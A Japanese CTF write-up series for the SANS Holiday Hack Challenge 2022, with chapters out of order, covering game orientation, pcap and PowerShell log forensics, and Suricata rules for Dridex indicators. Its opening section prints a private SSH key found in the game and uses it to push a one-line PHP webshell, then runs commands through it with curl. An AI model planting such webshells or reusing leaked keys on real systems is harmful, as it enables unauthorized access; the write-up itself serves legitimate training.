ssh鍵が消されている。
これを使ってgitを使うように設定してみよう。

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
-----END OPENSSH PRIVATE KEY-----

これを~/.ssh/id_rsaにおいて、chmod 500 ~/.ssh/id_rsaしておく。
あとは、使えるようにgit remote set-url origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.gitで接続先を変更しておけば完了。

適当にwebshellを置いてみよう。

$ echo '<?php system($_GET[0]);' > a.php
$ git add -A
$ git config --global user.email "you@example.com"
$ git config --global user.name "Your Name"
$ git commit
$ git push

ちょっと待ってcurl http://wordpress.flag.net.internal/a.php?0=idしてみるといい感じに出てくる。
ok.
適当にこのwebshellで探索するとフラグが手に入る。

$ curl http://wordpress.flag.net.internal/a.php?0=cat%20/flag.txt

                           Congratulations! You've found the HHC2022 Elfen Ring!


                                        ░░░░            ░░░░                                      
                                ░░                              ░░░░                              
                            ░░                                      ░░░░                          
                                                                        ░░                        
                      ░░                                                  ░░░░                    
                                                                              ░░                  
                                      ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░                  ░░                
                                  ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░                ░░              
                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒                ░░            
                          ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░              ▓▓▓▓▓▓▓▓▒▒░░░░            ░░░░          
          ░░            ░░▒▒▓▓▓▓▓▓▓▓                            ▓▓▓▓▓▓▒▒░░            ░░░░        
                      ░░▒▒▓▓▓▓▓▓                                    ▓▓▒▒▒▒░░          ░░░░        
                      ▒▒▓▓▓▓▓▓                                        ▓▓▓▓▒▒░░          ░░░░      
      ░░            ▒▒▓▓▓▓▓▓                                            ▓▓▒▒░░░░        ░░░░▒▒    
                  ░░▒▒▓▓▓▓░░                                            ░░▒▒▒▒░░░░      ░░░░▒▒    
                  ░░▓▓▓▓▓▓                                                ▓▓▒▒░░░░      ░░░░▒▒    
    ░░            ▒▒▓▓▓▓                                                    ▒▒░░░░        ░░▒▒▒▒  
    ░░          ░░▓▓▓▓▓▓                                                    ▒▒▒▒░░░░      ░░▒▒▒▒  
    ░░          ▒▒▓▓▓▓                                                        ▒▒░░░░      ░░▒▒▒▒  
                ▒▒▓▓▓▓                                                        ▒▒░░░░░░    ░░▒▒▒▒  
  ░░          ░░▓▓▓▓▒▒                                                        ▒▒░░░░░░    ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░░░  ░░░░░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░░░      ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▓▓░░░░      ░░▓▓▓▓▒▒                                                        ░░      ░░░░▒▒▒▒▓▓▓▓
    ▒▒░░        ▒▒▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▒▒▓▓  
    ▒▒░░░░      ░░▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░      ░░▒▒▓▓▓▓                                                    ░░      ░░▒▒▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░░░      ▒▒▒▒▓▓                                                          ░░░░▒▒▒▒▒▒▓▓▓▓  
      ▒▒▒▒░░░░    ▒▒▒▒▒▒▒▒                                                        ░░▒▒▒▒▒▒▒▒▓▓    
      ▓▓▒▒░░░░    ░░░░▒▒▒▒▓▓                                            ░░      ░░░░▒▒▒▒▒▒▓▓▓▓    
        ▒▒▒▒░░░░    ░░▒▒▒▒▒▒▒▒                                        ░░      ░░░░▒▒▒▒▒▒▒▒▓▓      
          ▓▓▒▒░░░░  ░░░░░░░░▒▒▓▓                                    ░░      ░░░░▒▒▒▒▒▒▓▓▓▓        
          ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓                            ░░        ░░░░▒▒▒▒▒▒▓▓▓▓▓▓        
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒                ░░░░          ░░░░▒▒▒▒▒▒▓▓▓▓▓▓          
              ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░                ░░░░▒▒▒▒▒▒▓▓▓▓▓▓            
                ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░                        ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓              
                  ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░              ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓                
                    ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓                  
                      ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██                    
                          ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██                        
                            ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████                          
                                ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████                              
                                ░░░░░░░░▓▓██████████████████░░░░░░░░                              
grinchum-land:~/wordpress.flag.net.internal$ 

ok. リングが手に入った。

 
 
 

次 -> Recover the Web Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [5/8] - はまやんはまやんはまやん

Recover the Tolkien Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [3/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

Recover the Tolkien Ring

奥に怪物がいて、長蛇の列ができていた。

人が多かったので設定で他のプレイヤーを隠すと、3つのチャレンジが見えてくる。

Wireshark Practice

Difficulty: ★
Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

問題のコンソールを開こう。

This all started when I clicked on a link in my email.
Can you help me?

yesと答えてみると、問題が出てくる。

1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?

pcapファイルというのはネットワークパケットログがまとまったファイルであるが、Wiresharkというソフトで開くのが定石となっている。
開いてみるとログがたくさん記録されている。
今回はobjectを抜き出してきてほしいとのことなので、Wiresharkの機能を使おう。

のようにすると

phpファイルが添付されている!これだ!phpと答えるが先に進まない…オブジェクトのタイプ?httpと答えると正解!

2. Wt is the file name of the largest file we can export?

これはapp.phpだ!

3. What packet number starts that app.php file?

これも上の画像から分かりますね。687

4. What is the IP of the Apache server?

Apacheと通信するときにはhttpを使って通信するので、httpでフィルタリングしてみよう。

ポート80でhttpサーバーは待ち構えるので、ポート80で待っている192.185.57.242が答え。

5. What file is saved to the infected host?

app.phpを解析する必要がありそう。
先ほどのWiresharkのオブジェクトのエクスポート画面からダウンロードもできる。
エンコーディングされた部分は一旦無視して、見えている所を見るとファイル名が見える。
68行目。

saveAs(blob1, 'Ref_Sept24-2020.zip');

Ref_Sept24-2020.zipが答え。

6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to?
Submit the names of the countries in alphabetical other separeted by a commas (EX: Norway, South Korea).

Wiresharkでもう少し読み進めるとTLSの通信も記録されている。
TLSハンドシェイクのサーバー側からの応答を見てみよう。
tls.handshake.type == 2を検索ワードにしてフィルタリングしてみる。

内容を見てみるとCountryNameが書いてあるので列に適用してみよう。
あとは、使われているドメインを見ながら怪しい国名を抜き出して出してみるとIsrael, South Sudanが答えだった。
(IL -> Israel, SS -> South Sudan)

7. Is the host infected (Yes/No)?

怪しいドメインへの通信が記録されているということは、侵害が始まっているとみる方が自然であろう。

Windows Event Logs

Difficulty: ★★
Investigate the Windows event log mystery in the terminal or offline.
Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal.

問題のコンソールを開こう。

Grinchum successfully downloaded his keylogger and has gatherd the admin credentials!
We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient.
Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file.
Please help me analyze this file and answer my questions.
Ready to begin?

PowerShellの実行ログを解析してほしいとのこと。
Eric Zimmerman's toolsを使ってもいいのだが、サクッと解析するためにhayabusaを使ってみよう。
使い方は簡単で、バイナリを持ってきて.\hayabusa-1.8.1-win-x64.exe -f powershell.evtx -o out.csvとやるだけ。

1. What month/day/year did the attack take place? For example, 09/05/2021.

ログを眺めてログが増えてそうな日を探すと14,24日にログが多い。
12/24/2022を出すと正当だった。
14日はCommandInvocation(Set-StrictMode): "Set-StrictMode" ParameterBinding(Set-StrictMode): name="Version"; value="1.0"というのが大量発生していた。

2. An attacker got a secret from a file. What was the original file's name?

24日でgrepしておく。コマンドの実行履歴を見たいので、EventIDの4104で探していこう。
hayabusaの出力結果を使うならcat powershell.csv | grep 2022-12-24 | grep 4104 | grep ScriptBlockTextみたいにして見てみるといい。
いい感じに整形して見やすくするのがおすすめだが、自分はそれほど量がなかったので、イベントビューワーでここからは見てみることにした。
powershell.evtxをダブルクリックで開いてイベントビューワーで以下のようにフィルタリングして見てみる。

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'
このようなコマンドがあってRecipeというのをGet-Contentで取得して色々しているので、original fileはRecipeが答え。

3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker.
This was done multiple times. Submit the last full PowerShell line that performed only these actions.

変数に代入している所を見つける。EventIDの4104でフィルタリングして眺めると代入しているものがあり、それが答え。
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

4. After storing the altered file contets into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file.
This was done multiple times. Submit the last full PowerShell line that performed only this action.

書き込んでいる所を見つける。EventIDの4104でフィルタリングして眺めるとAdd-Contentで書き出している部分があり、それが答え。
$foo | Add-Content -Path 'Recipe'

5. The attacker ran the previous command against one file multiple times. What is the name of this file?

上にあるRecipeが答えかなーと思ったが違う。
もうちょっとさかのぼってみてみると、$foo | Add-Content -Path 'Recipe.txt'というのが見つかる。
Recipe.txtが答え。

6. Were any files deleted? (Yes/No)

同じく、EventIDの4104で探していくと以下のようなコマンドが見つかるのでYes

del .\Recipe.txt
del .\recipe_updated.txt

7. Was the original file (from question 2) deleted? (Yes/No)

2の答えはRecipeなので、それを消すコマンドがないかどうかを探すが、特に見つからなかったので、No.

8. What is the Event ID of the logs that show the actual command lines the attacker typed and ran?

今まで見ていた4104が答え。

9. Is the secret ingredient compromised (Yes/No)?

何やら変換が施されていたのでcompromiseされてはいそう。Yesで正解。

10. What is the secret ingredient?

$foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}
こんな感じに変換されているので、'honey'が'fish oil'に変換されているので変換元がsecret ingredientだろうと予想。
honeyを答えると正解。

Suricata Regatta

Difficulty: ★★★
Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints.

問題のコンソールを開こう。

First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.
Add your rule to suricata.rules

なるほど。suricata.rulesを覗くと、dnsのクエリがあるので、参考にして書き換える。

alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1; rev:1;)

./rule_checkerを動かすと応答が変わる。次に進めたみたいだ。

STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242.
Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection
For the second indicator, we flagged 0 packet(s), but we expected 681. Please try again!

与えられているpcapファイルを見ながら要件を確認する。
ip.src==192.185.57.242 || ip.dst==192.185.57.242とすると685パケットになった。微妙に数が違うが、多分これで合ってるだろう。

alert http 192.185.57.242 any <> any any (msg:"Investigate suspicious connections, possible Dridex infection";sid:2;)

色々やっていると以上で突破できた。

We heard that some naughty actors are using TLS certificates with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection
For the third indicator, we flagged 0 packet(s), but we expected 1. Please try again!

TLSでひっかけてくればよさそう。

alert tls any any <> any any (msg:"Investigate bad certificates, possible Dridex infection";content:"heardbellith.Icanwepeh.nagoya";sid:3;)

適当に以上のようにやると突破できた。

Let's watch for one line from the JavaScript: let byteCharacters = atob
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection
For the fourth indicator, we flagged 0 packet(s), but we expected 1. Please try again!

httpかな?
ひっかけてくるのは難しくなさそうだが、GZip compressedという部分を解決する必要があるか。

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection";file_data;content:"let byteCharacters = atob";sid:4;)

file_dataをつけるとGZip compressedも解除してくれるみたい。
これでOK.

全問正解すると…

怪物が消えている…
どこへ行ったんだろうか…

無事、リングが獲得できたので、先に進もう。

 
 
 

次 -> Recover the Elfen Ring - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [4/8] - はまやんはまやんはまやん

KringleCon Orientation - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [2/8]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj
まとめトップ

 
 
 

KringleCon Orientation

最初はここから始まる。
最初の画面を取り忘れたので、ドアが開いているが、最初は開いていない。
さて、課題に取り組んでいこう。

Talk to Jingle Ringford

Difficulty: ★
Jingle Ringford will start you on your journey!

Jingle Ringfordと会話をしながら、この世界のことを教えてもらおう。

Get your badge

Difficulty: ★
Pick up your badge

これもJingle Ringfordと会話をしていればクリアできる。

Create a wallet

Difficulty: ★
Create a crypto wallet

この世界には独自通貨がある。
その通貨を扱うための自分のwalletを作成しよう。
暗号鍵は忘れてはいけない。(絶対ですよ!)

Use the terminal

Difficulty: ★
Click the computer terminal

ターミナルがキラキラ光って呼んでいる。

上のコンソールにanswerと入力してEnterを押せば次のステージへの扉が開く。

ここからが本番だ!

サンタとの出会い

新しい地に行くとサンタがお出迎えしてくれたが、何やら困っているようだ。
話を聞いてあげるとプレゼントではなく、ミッションがもらえる。
まあ、まだクリスマスじゃないしね。

ここはThe North Poleという場所らしい。
次の所に進むには5つのリングが必要とのことで、Objectivesを見てみるとミッションが追加されていた。

ロードオブザリング
ミッションに進む前にこの地を探索してみる。

左側:企業ブース

今年のGoogleといえばHACKING GOOGLEが素敵な映像でしたね。
今年もありがとう。Google
https://www.youtube.com/watch?v=aOGFY1R4QQ4

今年のSANSといえば、自分は@yamatosecurityさんが印象的でした。
自分の職務は社内セキュリティなので、イベントログをうまく扱う、しかも、国内プロジェクトということでむちゃくちゃ注目していました。
https://www.sans-japan.jp/sans_instructor_zachary_mathis

Cyberusくん。

上のNETWARSは実は入れて、以下のような感じになってました。

1回だけ似たようなもの(NETWARSだったのかも)をやったことがありますが、とても楽しかったですね。

左側の城の後ろ

NETWARSの右部分から城の後ろに入ることができる。

バグっぽいスペース。イースターエッグだと思う。

First, you'll need to find Yukon Cornelius, and help him track down what he calls a Bumble.
Take a tooth from the Bumble an carry it deep into the Misty Mountains, and trade it with Gwairhair, Windlord of the Great Eagles, for one o his feathers.
If Gwairhair is reluctant to trade, tell him that I have sent you.
With that feather, you must scale the walls of Sombertown, and find the home of Burgermeister Meisterburger.
Take the feather, and tickle Burgermeister Meisterburger, so that he may laugh and feel joy!
Once he feels joy, he'll happily give you safe passage to the Isle of Misfit Toys...
There, you must find Dolly, and tell her that a horrible mistake has been made and she's perfectly fine...
Noy a misfit at all...
Thus, having set right one of the greatest wrongs of the Christmas season, you will have proved yourself worthy!
Then, if you come back here, I will tell you...
...that your key is
0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Write it down, NOW, mmmmmkay?

不満げな顔のサンタが最終的にウォレットの秘密鍵を教えてくれる。
秘密鍵は二度と手に入らないと思っていたが、ここで再取得可能なようだ。

右側:試練へと続く道

右側にもいろいろな穴があるが入れるのは1つだけ。
ここに入ると、いよいよ試練のステージに進む。

地下に続いている。

お。部屋がある。

https://www.youtube.com/playlist?list=PLjLd1hNA7YVy9Xd1pRtE_TKWdzsnkHcqQ
以上のプレイリストにもあるセッションが公開されている。
ちなみに、メニューのTalksからも見られる。
結構たくさんあるので、あとで見よう…

奥まで行くと宝箱が!

他には何もなさそう。戻ろう。
道中に怪しい空間があるので探すと以下のように階段の途中で左に行くと宝箱がある。

ok.
進むと、別の部屋が見つかる。

Tolkien Ring! 最初のリングが見つかった。 攻略していこう。

 
 
 

次 -> Recover the Tolkien Ring [3/8] - Holiday Hack Challenge 2022 Writeup by hamayanhamayan - はまやんはまやんはまやん

トップ - Holiday Hack Challenge 2022 Writeup by hamayanhamayan [1/9]

English ver. -> https://hackmd.io/@POkJ8tzYSMKRnIFAFaPw4w/SJnFgxLYj

 
 
 
 

SANSが主催している、毎年クリスマスシーズンに開催されるチャレンジに今年初参加しました。
参加してない方のために、キホンを説明しますね。

今年のHoliday Hack Challengeは?

不思議な世界に招待される。
自分のアバターを操作して、世界を探索、そこで見つかる課題を解決していこう。

課題は人に話しかけると発見したり、ターミナルがあるので、ターミナルを操作すると見つかる。
課題によってはターミナルがなく、メニューから問題を見たり回答したりするものもあるので注意。

今年は、課題をクリアして5つのリングを手に入れる事をお願いされる。

手に入れた後に待つものとはいかに。

KringleCoinsというゲーム内通貨

最初にゲーム内通貨のアドレスと秘密鍵がもらえる。アドレスは最初の土地でいつでも確認できるが、
秘密鍵は忘れてしまうと再取得できないらしいので大事に保管しておこう。
(…が、実は秘密鍵を再取得する方法が隠されています)

ゲーム内通貨は、問題をクリアしたり、宝箱を開けたりすると手に入る。
とある場所でゲーム内通貨を使って帽子を買うこともできますが、一部問題で使う必要があるので、使いすぎには注意。
(詰むことあるのかな?わからない)

『Hint』

この世界には自分以外にたくさんのNPCがいる。
彼らに話しかけると課題を解くためのヒントがもらえたりするので積極的に話しかけよう。

Hintはそれ以外にも宝箱からも取得できる。
宝箱は隠し通路の先に隠されているので壁がちょっとおかしいと感じたら突撃してみよう。

Objective

参考までにObjective一覧を上げておく。
KringleCon Orientationチュートリアルなので、Ring系からが本番。

グループ 課題名 難易度
KringleCon Orientation Talk to Jingle Ringford
KringleCon Orientation Get your badge
KringleCon Orientation Create a wallet
KringleCon Orientation Use the terminal
KringleCon Orientation Talk to Santa
Recover the Tolkien Ring Wireshark Practice
Recover the Tolkien Ring Windows Event Logs ★★
Recover the Tolkien Ring Suricata Regatta ★★★
Recover the Elfen Ring Clone with a Difference
Recover the Elfen Ring Prison Escape ★★★
Recover the Elfen Ring Jolly CI/CD ★★★★★
Recover the Web Ring Naughty IP
Recover the Web Ring Credential Mining
Recover the Web Ring 404 FTW
Recover the Web Ring IMDS, XXE, and Other Abbreviations ★★
Recover the Web Ring Open Boria Mine Door ★★★
Recover the Web Ring Glamtariel's Fountain ★★★★★
Recover the Cloud Ring AWS CLI Intro
Recover the Cloud Ring Trufflehog Search ★★
Recover the Cloud Ring Exploitation via AWS CLI ★★★
Recover the Burning Ring of Fire Buy a Hat ★★
Recover the Burning Ring of Fire Blockchain Divination ★★★★
Recover the Burning Ring of Fire Exploit a Smart Contract ★★★★★

章立て

以下のような章立てで解説をしていく。
ここからはネタバレが多く含まれるので注意。

  1. イマココ トップ
  2. KringleCon Orientation
  3. Recover the Tolkien Ring
  4. Recover the Elfen Ring
  5. Recover the Web Ring
  6. Recover the Cloud Ring
  7. Recover the Burning Ring of Fire
  8. フィナーレへ